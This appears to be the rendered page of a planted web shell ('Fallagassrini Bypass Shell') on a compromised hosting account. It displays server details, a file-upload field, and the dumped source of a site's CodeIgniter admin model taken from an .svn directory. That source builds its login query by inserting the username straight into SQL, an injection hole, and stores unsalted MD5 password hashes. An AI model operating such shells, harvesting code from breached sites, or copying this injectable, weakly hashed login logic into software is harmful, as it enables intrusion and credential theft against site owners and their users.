? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/unova.in/application/models/.svn/text-base/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/unova.in/application/models/.svn/text-base/adminmodel.php.svn-base

<?php
class Adminmodel extends CI_Model
{
    function __construct()
	{
		parent::__construct();
	}
     function authenticate($username,$password)
     {
            $passwordmd5=md5($password);
            $query= $this->db->query("select * from user where username='$username' and password='$passwordmd5'");
            $data['numrows']=$query->num_rows();
            if($query->num_rows()>0)
            {
              $result= $query->row();
              $data['userid']= $result->user_id;
              $data['username']=$username;
              return $data;
            }
            else
                return 0;
     }
     function insert_reminder($postdata)
     {
         $tbl1Values=array('content'=>$postdata['rem_content']);
          $this->db->insert('reminder', $tbl1Values);
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function update_quote($postdata)
     {
         $tbl1Values=array('quote_content'=>$postdata['quote_content']);
         $this->db->where('quote_id', '1');
          $this->db->update('quote', $tbl1Values);
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function add_programme($postdata)
     {
         $this->db->trans_begin();
         $tbl1Values=array('programme_title'=>$postdata['programme_title'],
                            'prgmdate'=>$postdata['prgmdate'],
                            'second_line'=>$postdata['second_line'],
                            'third_line'=>$postdata['third_line'],
                            'description'=>$postdata['description'],
                            'active'=>$postdata['active'],
                            'order'=>$postdata['sort'],);
         
          $this->db->insert('programme', $tbl1Values);
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    $data['res']=0;
	    return $data;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function update_programme($postdata)
     {
       
         $this->db->trans_begin();
         $tbl1Values=array('programme_title'=>$postdata['programme_title'],
                            'prgmdate'=>$postdata['prgmdate'],
                            'second_line'=>$postdata['second_line'],
                            'third_line'=>$postdata['third_line'],
                            'description'=>$postdata['description'],
                            'active'=>$postdata['active'],
                            'order'=>$postdata['sort']);
          $this->db->where('programme_id', $postdata['id']);
          $this->db->update('programme', $tbl1Values);
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    $data['res']=0;
	    return $data;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function update_password($postdata)
     {
         $tbl1Values=array('password'=>md5($postdata['password']));
         $this->db->where('user_id', '1');
         $this->db->update('user', $tbl1Values);
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net